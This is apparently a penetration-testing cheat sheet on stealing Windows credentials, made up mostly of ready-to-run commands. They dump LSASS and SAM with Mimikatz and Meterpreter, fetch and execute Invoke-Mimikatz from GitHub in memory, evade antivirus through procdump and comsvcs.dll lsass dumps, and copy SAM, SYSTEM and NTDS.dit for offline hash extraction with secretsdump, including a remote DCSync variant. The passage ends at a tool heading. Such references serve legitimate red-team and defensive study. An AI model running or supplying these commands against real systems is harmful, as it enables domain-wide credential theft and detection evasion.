# Stealing Credentials
## Credentials Mimikatz
```bash
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
```
**Find other things that Mimikatz can do in **[**this page**](credentials-mimikatz.md)**.**
### Invoke-Mimikatz
```bash
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
```
[**Learn about some possible credentials protections here.**](credentials-protections.md)** This protections could prevent Mimikatz from extracting some credentials.**
## Credentials with Meterpreter
Use the [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials)** that **I have created to **search for passwords and hashes** inside the victim.
```bash
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::sam"
```
## Bypassing AV
### Procdump + Mimikatz
As** Procdump from **[**SysInternals **](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender. \
You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally **from the dump.
{% code title="Dump lsass" %}
```bash
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```
{% endcode %}
{% code title="Extract credentials from the dump" %}
```c
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
```
{% endcode %}
This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
**Note**: Some **AV **may **detect **as **malicious **the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting **the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier **to **pass **as an **argument **the **PID **of lsass.exe to procdump **instead o**f the **name lsass.exe.**
### Dumping lsass with **comsvcs.dll**
Theres a DLL called **comsvcs.dll**, located in `C:\Windows\System32` that **dumps process memory** whenever they **crash**. This DLL contains a **function **called **`MiniDumpW`** that is written so it can be called with `rundll32.exe`.\
The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word **full**. There is no other choice.\
Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file.\
Thanks to this function, we can use **comsvcs.dll** to dump lsass process instead of uploading procdump and executing it. (This information was extracted from [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/))
```
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
```
We just have to keep in mind that this technique can only be executed as **SYSTEM**.
**You can automate this process with **[**lssasy**](https://github.com/Hackndo/lsassy)**.**

## Stealing SAM & SYSTEM
This files should be **located **in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM. _But **you cannot just copy them in a regular way **because they protected.
### From Registry
The easiest way to steal those files is to get a copy from the registry:
```
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
```
**Download **those files to your Kali machine and **extract the hashes** using:
```
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
```
### Volume Shadow Copy
You can perform copy of protected files using this service. You need to be Administrator.
#### Using vssadmin
vssadmin binary is only available in Windows Server versions
```bash
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
But you can do the same from **Powershell**. This is an example of** how to copy the SAM file **(the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file:
```bash
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
```
Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
### Invoke-NinjaCopy
Finally, you could also use the [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) to make a copy of SAM, SYSTEM and ntds.dit.
```bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
```
## **Active Directory Credentials - NTDS.dit**
**The Ntds.dit file is a database that stores Active Directory data**, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.
The important NTDS.dit file will be** located in**: _%SystemRoom%/NTDS/ntds.dit_\
__This file is a database_ Extensible Storage Engine_ (ESE) and is "officially" composed by 3 tables:
* **Data Table**: Contains the information about the objects (users, groups...)
* **Link Table**: Information about the relations (member of...)
* **SD Table**: Contains the security descriptors of each object
More information about this: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
Windows uses _Ntdsa.dll_ to interact with that file and its used by _lsass.exe_. Then, **part **of the **NTDS.dit** file could be located **inside the **_**lsass **_**memory **(you can find the lastet accessed data probably because of the performance impruve by using a **cache**).
#### Decrypting the hashes inside NTDS.dit
The hash is cyphered 3 times:
1. Decrypt Password Encryption Key (**PEK**) using the **BOOTKEY **and **RC4**.
2. Decrypt tha **hash **using **PEK **and **RC4**.
3. Decrypt the **hash **using **DES**.
**PEK **have the** same value** in **every domain controller**, but it is **cyphered **inside the **NTDS.dit** file using the **BOOTKEY **of the **SYSTEM file of the domain controller (is different between domain controllers)**. This is why to get the credentials from the NTDS.dit file **you need the files NTDS.dit and SYSTEM **(_C:\Windows\System32\config\SYSTEM_).
### Copying NTDS.dit using Ntdsutil
Available since Windows Server 2008.
```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
```
You could also use the [**volume shadow copy**](./#stealing-sam-and-system)** **trick to copy the **ntds.dit** file. Remember that you will also need a copy of the **SYSTEM file** (again, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system)** **trick).
### **Extracting hashes from NTDS.dit**
Once you have **obtained **the files **NTDS.dit** and **SYSTEM **you can use tools like_ secretsdump.py_ to **extract the hashes**:
```bash
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
```
You can also **extract them automatically** using a valid domain admin user:
```
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
```
For** big NTDS.dit files** it's recommend to extract it using [gosecretsdump](https://github.com/c-sto/gosecretsdump).
Finally, you can also use the **metasploit module**: _post/windows/gather/credentials/domain_hashdump _or **mimikatz **`lsadump::lsa /inject`
## Lazagne
Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software.
```
lazagne.exe all
```
## Other tools for extracting credentials from SAM and LSASS
### Windows credentials Editor (WCE)
